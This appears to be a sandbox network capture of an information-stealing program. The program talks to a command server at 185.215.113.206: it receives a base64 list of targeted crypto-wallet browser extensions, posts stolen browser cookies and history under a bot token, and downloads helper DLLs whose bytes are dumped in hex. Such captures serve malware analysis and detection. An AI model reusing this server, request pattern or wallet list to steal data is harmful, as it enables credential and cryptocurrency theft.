Oct 28, 2024 08:17:13.457798958 CET	1236	IN	HTTP/1.1 200 OK Date: Mon, 28 Oct 2024 07:17:13 GMT Server: Apache/2.4.41 (Ubuntu) Vary: Accept-Encoding Content-Length: 7116 Keep-Alive: timeout=5, max=97 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 54 57 56 30 59 55 31 68 63 32 74 38 5a 47 70 6a 62 47 4e 72 61 32 64 73 5a 57 4e 6f 62 32 39 69 62 47 35 6e 5a 32 68 6b 61 57 35 74 5a 57 56 74 61 32 4a 6e 59 32 6c 38 4d 58 77 77 66 44 42 38 54 57 56 30 59 55 31 68 63 32 74 38 5a 57 70 69 59 57 78 69 59 57 74 76 63 47 78 6a 61 47 78 6e 61 47 56 6a 5a 47 46 73 62 57 56 6c 5a 57 46 71 62 6d 6c 74 61 47 31 38 4d 58 77 77 66 44 42 38 54 57 56 30 59 55 31 68 63 32 74 38 62 6d 74 69 61 57 68 6d 59 6d 56 76 5a 32 46 6c 59 57 39 6c 61 47 78 6c 5a 6d 35 72 62 32 52 69 5a 57 5a 6e 63 47 64 72 62 6d 35 38 4d 58 77 77 66 44 42 38 56 48 4a 76 62 6b 78 70 62 6d 74 38 61 57 4a 75 5a 57 70 6b 5a 6d 70 74 62 57 74 77 59 32 35 73 63 47 56 69 61 32 78 74 62 6d 74 76 5a 57 39 70 61 47 39 6d 5a 57 4e 38 4d 58 77 77 66 44 42 38 51 6d 6c 75 59 57 35 6a 5a 53 42 58 59 57 78 73 5a 58 52 38 5a 6d 68 69 62 32 68 70 62 57 46 6c 62 47 4a 76 61 48 42 71 59 6d 4a 73 5a 47 4e 75 5a 32 4e 75 59 58 42 75 5a 47 39 6b 61 6e 42 38 4d 58 77 77 66 44 42 38 57 57 39 79 62 32 6c 38 5a 6d [TRUNCATED] Data Ascii: TWV0YU1hc2t8ZGpjbGNra2dsZWNob29ibG5nZ2hkaW5tZWVta2JnY2l8MXwwfDB8TWV0YU1hc2t8ZWpiYWxiYWtvcGxjaGxnaGVjZGFsbWVlZWFqbmltaG18MXwwfDB8TWV0YU1hc2t8bmtiaWhmYmVvZ2FlYW9laGxlZm5rb2RiZWZncGdrbm58MXwwfDB8VHJvbkxpbmt8aWJuZWpkZmptbWtwY25scGVia2xtbmtvZW9paG9mZWN8MXwwfDB8QmluYW5jZSBXYWxsZXR8Zmhib2hpbWFlbGJvaHBqYmJsZGNuZ2NuYXBuZG9kanB8MXwwfDB8WW9yb2l8ZmZuYmVsZmRvZWlvaGVua2ppYm5tYWRqaWVoamhhamJ8MXwwfDB8Q29pbmJhc2UgV2FsbGV0IGV4dGVuc2lvbnxobmZhbmtub2NmZW9mYmRkZ2Npam5taG5mbmtkbmFhZHwxfDB8MXxHdWFyZGF8aHBnbGZoZ2ZuaGJncGpkZW5qZ21kZ29laWFwcGFmbG58MXwwfDB8SmF4eCBMaWJlcnR5fGNqZWxmcGxwbGViZGpqZW5sbHBqY2JsbWprZmNmZm5lfDF8MHwwfGlXYWxsZXR8a25jY2hkaWdvYmdoZW5iYmFkZG9qam5uYW9nZnBwZmp8MXwwfDB8TUVXIENYfG5sYm1ubmlqY25sZWdrampwY2ZqY2xtY2ZnZ2ZlZmRtfDF8MHwwfEd1aWxkV2FsbGV0fG5hbmptZGtuaGtpbmlmbmtnZGNnZ2NmbmhkYWFtbW1qfDF8MHwwfFJvbmluIFdhbGxldHxmbmpobWtoaG1rYmpra2FibmRjbm5vZ2Fnb2dibmVlY3wxfDB8MHxOZW9MaW5lfGNwaGhsZ21nYW1lb2RuaGtqZG1rcGFubGVsbmxvaGFvfDF8MHwwfENMViBXYWxsZXR8bmhua2JrZ2ppa2djaWdhZG9ta3BoYWxhbm5kY2Fwamt8MXwwfDB8TGlxdWFsaXR5
Oct 28, 2024 08:17:13.457832098 CET	112	IN	Data Raw: 49 46 64 68 62 47 78 6c 64 48 78 72 63 47 5a 76 63 47 74 6c 62 47 31 68 63 47 4e 76 61 58 42 6c 62 57 5a 6c 62 6d 52 74 5a 47 4e 6e 61 47 35 6c 5a 32 6c 74 62 6e 77 78 66 44 42 38 4d 48 78 55 5a 58 4a 79 59 53 42 54 64 47 46 30 61 57 39 75 49 46 Data Ascii: IFdhbGxldHxrcGZvcGtlbG1hcGNvaXBlbWZlbmRtZGNnaG5lZ2ltbnwxfDB8MHxUZXJyYSBTdGF0aW9uIFdhbGxldHxhaWlmYm5iZm9icG1lZWtp
Oct 28, 2024 08:17:13.457840919 CET	1236	IN	Data Raw: 63 47 68 6c 5a 57 6c 71 61 57 31 6b 63 47 35 73 63 47 64 77 63 48 77 78 66 44 42 38 4d 48 78 4c 5a 58 42 73 63 6e 78 6b 62 57 74 68 62 57 4e 72 62 6d 39 6e 61 32 64 6a 5a 47 5a 6f 61 47 4a 6b 5a 47 4e 6e 61 47 46 6a 61 47 74 6c 61 6d 56 68 63 48 Data Ascii: cGhlZWlqaW1kcG5scGdwcHwxfDB8MHxLZXBscnxkbWthbWNrbm9na2djZGZoaGJkZGNnaGFjaGtlamVhcHwxfDB8MHxTb2xsZXR8ZmhtZmVuZGdkb2NtY2JtZmlrZGNvZ29mcGhpbW5rbm98MXwwfDB8QXVybyBXYWxsZXQoTWluYSBQcm90b2NvbCl8Y25tYW1hYWNocHBua2pnbmlsZHBkbWthYWtlam5oYWV8MXwwfDB8UG9
Oct 28, 2024 08:17:13.457863092 CET	1236	IN	Data Raw: 61 6d 39 38 4d 58 77 77 66 44 42 38 55 32 39 73 5a 6d 78 68 63 6d 55 67 56 32 46 73 62 47 56 30 66 47 4a 6f 61 47 68 73 59 6d 56 77 5a 47 74 69 59 58 42 68 5a 47 70 6b 62 6d 35 76 61 6d 74 69 5a 32 6c 76 61 57 39 6b 59 6d 6c 6a 66 44 46 38 4d 48 Data Ascii: am98MXwwfDB8U29sZmxhcmUgV2FsbGV0fGJoaGhsYmVwZGtiYXBhZGpkbm5vamtiZ2lvaW9kYmljfDF8MHwwfEN5YW5vIFdhbGxldHxka2RlZGxwZ2RtbWtrZmphYmZmZWdhbmllYW1ma2xrbXwxfDB8MHxLSEN8aGNmbHBpbmNwcHBkY2xpbmVhbG1hbmRpamNtbmtiZ258MXwwfDB8VGV6Qm94fG1uZmlmZWZrYWpnb2ZrY2p
Oct 28, 2024 08:17:13.457874060 CET	1236	IN	Data Raw: 5a 32 70 6c 62 57 56 72 5a 57 4a 6b 63 47 56 76 61 32 4a 70 61 32 68 6d 59 32 6c 38 4d 58 77 77 66 44 42 38 54 57 46 79 64 47 6c 68 62 69 42 42 63 48 52 76 63 79 42 58 59 57 78 73 5a 58 52 38 5a 57 5a 69 5a 32 78 6e 62 32 5a 76 61 58 42 77 59 6d Data Ascii: Z2plbWVrZWJkcGVva2Jpa2hmY2l8MXwwfDB8TWFydGlhbiBBcHRvcyBXYWxsZXR8ZWZiZ2xnb2ZvaXBwYmdjamVwbmhpYmxhaWJjbmNsZ2t8MXwwfDB8RmlubmllfGNqbWtuZGpobmFnY2ZicGllbW5rZHBvbWNjbmpibG1qfDF8MHwwfExlYXAgVGVycmEgV2FsbGV0fGFpamNiZWRvaWptZ25sbWplZWdqYWdsbWVwYm1wa3B
Oct 28, 2024 08:17:13.457885027 CET	1236	IN	Data Raw: 62 47 31 6e 59 57 35 6d 59 57 46 73 61 32 78 69 66 44 46 38 4d 48 77 77 66 45 4e 76 62 57 31 76 62 6b 74 6c 65 58 78 6a 61 47 64 6d 5a 57 5a 71 63 47 4e 76 59 6d 5a 69 62 6e 42 74 61 57 39 72 5a 6d 70 71 59 57 64 73 59 57 68 74 62 6d 52 6c 5a 48 Data Ascii: bG1nYW5mYWFsa2xifDF8MHwwfENvbW1vbktleXxjaGdmZWZqcGNvYmZibnBtaW9rZmpqYWdsYWhtbmRlZHwxfDB8MHxab2hvIFZhdWx0fGlna3Bjb2RoaWVvbXBlbG9uY2ZuYmVrY2NpbmhhcGRifDF8MHwwfE9wZXJhIFdhbGxldHxnb2poY2RnY3BicGZpZ2NhZWpwZmhmZWdla2RnaWJsa3wwfDB8MXxUcnVzdCBXYWxsZXR
Oct 28, 2024 08:17:13.458419085 CET	1052	IN	Data Raw: 63 47 4e 6e 5a 57 78 76 63 47 64 38 4d 58 77 77 66 44 42 38 51 32 39 74 63 47 46 7a 63 79 42 58 59 57 78 73 5a 58 51 67 5a 6d 39 79 49 46 4e 6c 61 58 78 68 62 6d 39 72 5a 32 31 77 61 47 35 6a 63 47 56 72 61 32 68 6a 62 47 31 70 62 6d 64 77 61 57 Data Ascii: cGNnZWxvcGd8MXwwfDB8Q29tcGFzcyBXYWxsZXQgZm9yIFNlaXxhbm9rZ21waG5jcGVra2hjbG1pbmdwaW1qbWNvb2lmYnwxfDB8MHxIQVZBSCBXYWxsZXR8Y25uY21kaGphY3BrbWpta2NhZmNocHBibnBuaGRtb258MXwwfDB8RWxsaSAtIFN1aSBXYWxsZXR8b2NqZHBtb2FsbG1nbWpiYm9nZmlpYW9mcGhiamdjaGh8MXw
Oct 28, 2024 08:17:13.460328102 CET	470	OUT	POST /6c4adf523b719729.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----KJKFBAFIDAEBFHJKJEBF Host: 185.215.113.206 Content-Length: 268 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 4b 4a 4b 46 42 41 46 49 44 41 45 42 46 48 4a 4b 4a 45 42 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 35 30 61 66 63 35 34 33 39 64 36 32 65 61 64 36 63 32 37 66 64 65 61 63 38 31 66 37 61 35 64 66 33 32 62 34 30 36 34 39 65 66 35 66 38 39 65 39 34 38 35 32 35 34 36 63 61 34 31 37 33 31 36 63 61 65 34 37 35 31 66 63 0d 0a 2d 2d 2d 2d 2d 2d 4b 4a 4b 46 42 41 46 49 44 41 45 42 46 48 4a 4b 4a 45 42 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 66 70 6c 75 67 69 6e 73 0d 0a 2d 2d 2d 2d 2d 2d 4b 4a 4b 46 42 41 46 49 44 41 45 42 46 48 4a 4b 4a 45 42 46 2d 2d 0d 0a Data Ascii: ------KJKFBAFIDAEBFHJKJEBFContent-Disposition: form-data; name="token"50afc5439d62ead6c27fdeac81f7a5df32b40649ef5f89e94852546ca417316cae4751fc------KJKFBAFIDAEBFHJKJEBFContent-Disposition: form-data; name="message"fplugins------KJKFBAFIDAEBFHJKJEBF--
Oct 28, 2024 08:17:13.744997025 CET	335	IN	HTTP/1.1 200 OK Date: Mon, 28 Oct 2024 07:17:13 GMT Server: Apache/2.4.41 (Ubuntu) Vary: Accept-Encoding Content-Length: 108 Keep-Alive: timeout=5, max=96 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 54 57 56 30 59 55 31 68 63 32 74 38 4d 48 78 33 5a 57 4a 6c 65 48 52 6c 62 6e 4e 70 62 32 35 41 62 57 56 30 59 57 31 68 63 32 73 75 61 57 39 38 55 6d 39 75 61 57 34 67 56 32 46 73 62 47 56 30 66 44 42 38 63 6d 39 75 61 57 34 74 64 32 46 73 62 47 56 30 51 47 46 34 61 57 56 70 62 6d 5a 70 62 6d 6c 30 65 53 35 6a 62 32 31 38 Data Ascii: TWV0YU1hc2t8MHx3ZWJleHRlbnNpb25AbWV0YW1hc2suaW98Um9uaW4gV2FsbGV0fDB8cm9uaW4td2FsbGV0QGF4aWVpbmZpbml0eS5jb218
Oct 28, 2024 08:17:13.762702942 CET	203	OUT	POST /6c4adf523b719729.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----FBKKJEBFIDAEBFHIDAEB Host: 185.215.113.206 Content-Length: 7207 Connection: Keep-Alive Cache-Control: no-cache
Oct 28, 2024 08:17:13.762742996 CET	7207	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 46 42 4b 4b 4a 45 42 46 49 44 41 45 42 46 48 49 44 41 45 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 35 30 61 66 63 35 Data Ascii: ------FBKKJEBFIDAEBFHIDAEBContent-Disposition: form-data; name="token"50afc5439d62ead6c27fdeac81f7a5df32b40649ef5f89e94852546ca417316cae4751fc------FBKKJEBFIDAEBFHIDAEBContent-Disposition: form-data; name="file_name"c3lzdGVtX2luZ
Oct 28, 2024 08:17:14.566972971 CET	202	IN	HTTP/1.1 200 OK Date: Mon, 28 Oct 2024 07:17:13 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=95 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Oct 28, 2024 08:17:14.849136114 CET	94	OUT	GET /746f34465cf17784/sqlite3.dll HTTP/1.1 Host: 185.215.113.206 Cache-Control: no-cache
Oct 28, 2024 08:17:15.132236004 CET	1236	IN	HTTP/1.1 200 OK Date: Mon, 28 Oct 2024 07:17:14 GMT Server: Apache/2.4.41 (Ubuntu) Last-Modified: Mon, 05 Sep 2022 11:30:30 GMT ETag: "10e436-5e7ec6832a180" Accept-Ranges: bytes Content-Length: 1106998 Content-Type: application/x-msdos-program Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 12 00 d7 dd 15 63 00 92 0e 00 bf 13 00 00 e0 00 06 21 0b 01 02 19 00 26 0b 00 00 16 0d 00 00 0a 00 00 00 14 00 00 00 10 00 00 00 40 0b 00 00 00 e0 61 00 10 00 00 00 02 00 00 04 00 00 00 01 00 00 00 04 00 00 00 00 00 00 00 00 30 0f 00 00 06 00 00 1c 3a 11 00 03 00 00 00 00 00 20 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 d0 0c 00 88 2a 00 00 00 00 0d 00 d0 0c 00 00 00 30 0d 00 a8 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 0d 00 18 3c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 04 20 0d 00 18 00 00 00 00 00 00 00 00 00 00 00 00 00 [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$PELc!&@a0: 0@< .text%&`P`.data\|'@(,@`.rdatapDpFT@`@.bss(`.edata,@0@.idata@0.CRT,@0.tls @0.rsrc0@0.reloc<@>@0B/48@@B/19R"@B/31]'`(@B/45-.@B/57\B@0B/70
Oct 28, 2024 08:17:15.132287979 CET	1236	IN	Data Raw: 00 00 23 03 00 00 00 d0 0e 00 00 04 00 00 00 4e 0e 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 10 42 2f 38 31 00 00 00 00 00 73 3a 00 00 00 e0 0e 00 00 3c 00 00 00 52 0e 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 10 42 2f 39 32 00 00 00 00 00 Data Ascii: #N@B/81s:<R@B/92P @B
Oct 28, 2024 08:17:15.132303953 CET	1236	IN	Data Raw: ec 0c 89 c5 85 db 74 05 83 fb 03 75 2e 89 7c 24 08 89 5c 24 04 89 34 24 e8 19 f7 0a 00 83 ec 0c 89 c5 89 7c 24 08 89 5c 24 04 89 34 24 e8 64 fd ff ff 83 ec 0c 85 c0 75 02 31 ed c7 05 48 67 eb 61 ff ff ff ff 83 c4 1c 89 e8 5b 5e 5f 5d c3 8d b4 26 Data Ascii: tu.\|$\$4$\|$\$4$du1Hga[^_]&+C\|$\$4$w#t\|$\$4$u#u\|$D$4$t&up\|$D$4$rZ\|$D$4$Q

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.4	49765	185.215.113.206	80	6456	C:\Users\user\Desktop\file.exe

Timestamp	Bytes transferred	Direction	Data
Oct 28, 2024 08:17:27.367341042 CET	203	OUT	POST /6c4adf523b719729.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----EHCBAAAFHJDHJJKEBGHI Host: 185.215.113.206 Content-Length: 2831 Connection: Keep-Alive Cache-Control: no-cache
Oct 28, 2024 08:17:27.367341042 CET	2831	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 45 48 43 42 41 41 41 46 48 4a 44 48 4a 4a 4b 45 42 47 48 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 35 30 61 66 63 35 Data Ascii: ------EHCBAAAFHJDHJJKEBGHIContent-Disposition: form-data; name="token"50afc5439d62ead6c27fdeac81f7a5df32b40649ef5f89e94852546ca417316cae4751fc------EHCBAAAFHJDHJJKEBGHIContent-Disposition: form-data; name="file_name"Y29va2llc1xHb

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2	192.168.2.4	49766	185.215.113.206	80	6456	C:\Users\user\Desktop\file.exe

Timestamp	Bytes transferred	Direction	Data
Oct 28, 2024 08:17:27.485325098 CET	203	OUT	POST /6c4adf523b719729.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----ECGIIIDAKJDHJKFHIEBF Host: 185.215.113.206 Content-Length: 1451 Connection: Keep-Alive Cache-Control: no-cache
Oct 28, 2024 08:17:27.485344887 CET	1451	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 45 43 47 49 49 49 44 41 4b 4a 44 48 4a 4b 46 48 49 45 42 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 35 30 61 66 63 35 Data Ascii: ------ECGIIIDAKJDHJKFHIEBFContent-Disposition: form-data; name="token"50afc5439d62ead6c27fdeac81f7a5df32b40649ef5f89e94852546ca417316cae4751fc------ECGIIIDAKJDHJKFHIEBFContent-Disposition: form-data; name="file_name"aGlzdG9yeVxHb
Oct 28, 2024 08:17:29.926944017 CET	203	IN	HTTP/1.1 200 OK Date: Mon, 28 Oct 2024 07:17:29 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Oct 28, 2024 08:17:29.959418058 CET	565	OUT	POST /6c4adf523b719729.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----EBGCFBGCBFHJECBGDAKK Host: 185.215.113.206 Content-Length: 363 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 45 42 47 43 46 42 47 43 42 46 48 4a 45 43 42 47 44 41 4b 4b 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 35 30 61 66 63 35 34 33 39 64 36 32 65 61 64 36 63 32 37 66 64 65 61 63 38 31 66 37 61 35 64 66 33 32 62 34 30 36 34 39 65 66 35 66 38 39 65 39 34 38 35 32 35 34 36 63 61 34 31 37 33 31 36 63 61 65 34 37 35 31 66 63 0d 0a 2d 2d 2d 2d 2d 2d 45 42 47 43 46 42 47 43 42 46 48 4a 45 43 42 47 44 41 4b 4b 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 63 32 31 71 62 47 78 74 65 57 31 73 59 6e 70 78 4c 6e 42 33 5a 41 3d 3d 0d 0a 2d 2d 2d 2d 2d 2d 45 42 47 43 46 42 47 43 42 46 48 4a 45 43 42 47 44 41 4b 4b 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 0d 0a 0d 0a 0d 0a 2d 2d 2d 2d 2d [TRUNCATED] Data Ascii: ------EBGCFBGCBFHJECBGDAKKContent-Disposition: form-data; name="token"50afc5439d62ead6c27fdeac81f7a5df32b40649ef5f89e94852546ca417316cae4751fc------EBGCFBGCBFHJECBGDAKKContent-Disposition: form-data; name="file_name"c21qbGxteW1sYnpxLnB3ZA==------EBGCFBGCBFHJECBGDAKKContent-Disposition: form-data; name="file"------EBGCFBGCBFHJECBGDAKK--
Oct 28, 2024 08:17:30.745932102 CET	202	IN	HTTP/1.1 200 OK Date: Mon, 28 Oct 2024 07:17:30 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=99 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Oct 28, 2024 08:17:31.261616945 CET	565	OUT	POST /6c4adf523b719729.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----HCFIIIJJKJKFHIDGDBAK Host: 185.215.113.206 Content-Length: 363 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 48 43 46 49 49 49 4a 4a 4b 4a 4b 46 48 49 44 47 44 42 41 4b 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 35 30 61 66 63 35 34 33 39 64 36 32 65 61 64 36 63 32 37 66 64 65 61 63 38 31 66 37 61 35 64 66 33 32 62 34 30 36 34 39 65 66 35 66 38 39 65 39 34 38 35 32 35 34 36 63 61 34 31 37 33 31 36 63 61 65 34 37 35 31 66 63 0d 0a 2d 2d 2d 2d 2d 2d 48 43 46 49 49 49 4a 4a 4b 4a 4b 46 48 49 44 47 44 42 41 4b 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 63 32 31 71 62 47 78 74 65 57 31 73 59 6e 70 78 4c 6e 42 33 5a 41 3d 3d 0d 0a 2d 2d 2d 2d 2d 2d 48 43 46 49 49 49 4a 4a 4b 4a 4b 46 48 49 44 47 44 42 41 4b 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 0d 0a 0d 0a 0d 0a 2d 2d 2d 2d 2d [TRUNCATED] Data Ascii: ------HCFIIIJJKJKFHIDGDBAKContent-Disposition: form-data; name="token"50afc5439d62ead6c27fdeac81f7a5df32b40649ef5f89e94852546ca417316cae4751fc------HCFIIIJJKJKFHIDGDBAKContent-Disposition: form-data; name="file_name"c21qbGxteW1sYnpxLnB3ZA==------HCFIIIJJKJKFHIDGDBAKContent-Disposition: form-data; name="file"------HCFIIIJJKJKFHIDGDBAK--
Oct 28, 2024 08:17:32.047112942 CET	202	IN	HTTP/1.1 200 OK Date: Mon, 28 Oct 2024 07:17:31 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=98 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Oct 28, 2024 08:17:32.313536882 CET	94	OUT	GET /746f34465cf17784/freebl3.dll HTTP/1.1 Host: 185.215.113.206 Cache-Control: no-cache
Oct 28, 2024 08:17:32.601500034 CET	1236	IN	HTTP/1.1 200 OK Date: Mon, 28 Oct 2024 07:17:32 GMT Server: Apache/2.4.41 (Ubuntu) Last-Modified: Mon, 05 Sep 2022 07:49:08 GMT ETag: "a7550-5e7e950876500" Accept-Ranges: bytes Content-Length: 685392 Content-Type: application/x-msdos-program Data Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 06 00 f3 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 0e 08 00 00 34 02 00 00 00 00 00 70 12 08 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 d0 0a 00 00 04 00 00 cb fd 0a 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 48 1c 0a 00 53 00 00 00 9b 1c 0a 00 c8 00 00 00 00 90 0a 00 78 03 00 00 00 00 00 00 00 00 00 00 00 46 0a 00 50 2f 00 00 00 a0 0a 00 f0 23 00 00 94 16 0a 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 20 08 00 a0 00 00 00 00 00 00 00 00 00 00 00 a4 1e [TRUNCATED] Data Ascii: MZx@x!L!This program cannot be run in DOS mode.$PEL4c"!4p@AHSxFP/# @.text `.rdata @@.data<F0@.00cfg@@.rsrcx@@.reloc#$"@B
Oct 28, 2024 08:17:32.601557970 CET	112	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 55 89 e5 68 4f 01 00 00 e8 f2 0b 08 00 83 c4 04 85 c0 74 0e 89 80 38 01 00 00 83 c0 0f 83 e0 f0 5d c3 68 13 e0 ff ff e8 c7 0b Data Ascii: UhOt8]h1]UWVE
Oct 28, 2024 08:17:32.601630926 CET	1236	IN	Data Raw: 85 c0 74 1e 8b 75 1c 8b 7d 14 8b 55 10 8b 4d 0c 85 ff 74 22 f2 0f 10 07 f2 0f 11 80 30 01 00 00 eb 28 68 05 e0 ff ff e8 7f 0b 08 00 83 c4 04 b8 ff ff ff ff eb 26 c7 80 34 01 00 00 a6 a6 a6 a6 c7 80 30 01 00 00 a6 a6 a6 a6 6a 10 56 6a 00 6a 00 52 Data Ascii: tu}UMt"0(h&40jVjjRQP?^_]USWVhO?t081tkEU]Mt0%h1<40jRjjPQWt8
Oct 28, 2024 08:17:32.601667881 CET	1236	IN	Data Raw: 00 0f 84 98 02 00 00 8b 75 18 85 f6 0f 84 8d 02 00 00 89 54 24 34 89 44 24 30 89 f8 83 e0 f8 50 e8 88 06 08 00 83 c4 04 85 c0 0f 84 7c 02 00 00 89 c3 89 f8 c1 ef 03 8d 4f ff 89 4c 24 38 50 56 53 e8 27 07 08 00 83 c4 0c f2 0f 10 03 f2 0f 11 44 24 Data Ascii: uT$4D$0P\|OL$8PVS'D$@?@L$L$D$D$D$$D$ 11\$($D$T$L$D$D$t$8D$D$@L$T$\|$
Oct 28, 2024 08:17:32.601680040 CET	1236	IN	Data Raw: 89 45 d8 8d 45 dc 89 f9 31 d2 ff 75 1c ff 75 18 53 50 56 8d 45 e0 50 e8 b4 fa ff ff 83 c4 18 89 c7 85 ff 0f 85 6f 01 00 00 b9 01 e0 ff ff 39 5d dc 0f 85 53 01 00 00 8b 55 e0 0f ca b8 a6 59 59 a6 29 d0 81 c2 5a a6 a6 59 09 c2 0f b6 45 e4 0f b6 4d Data Ascii: EE1uuSPVEPo9]SUYY)ZYEME]M)19DEEE\|0)U\|2!!)]\|3)\|3!)
Oct 28, 2024 08:17:32.601727009 CET	1236	IN	Data Raw: 8c 00 00 00 8b 55 ac 89 c8 31 db 39 ca 74 3c 66 2e 0f 1f 84 00 00 00 00 00 0f 1f 00 0f b6 0c 07 30 4c 06 0c 0f b6 0c 07 30 8c 06 8c 00 00 00 0f b6 4c 07 01 30 4c 06 0d 0f b6 4c 07 01 30 8c 06 8d 00 00 00 83 c0 02 39 c2 75 d1 8b 4d f0 31 e9 e8 37 Data Ascii: U19t<f.0L0L0LL09uM17L^_[]USWVh1tlEGGHt1Uuut,tGHjSGW:G
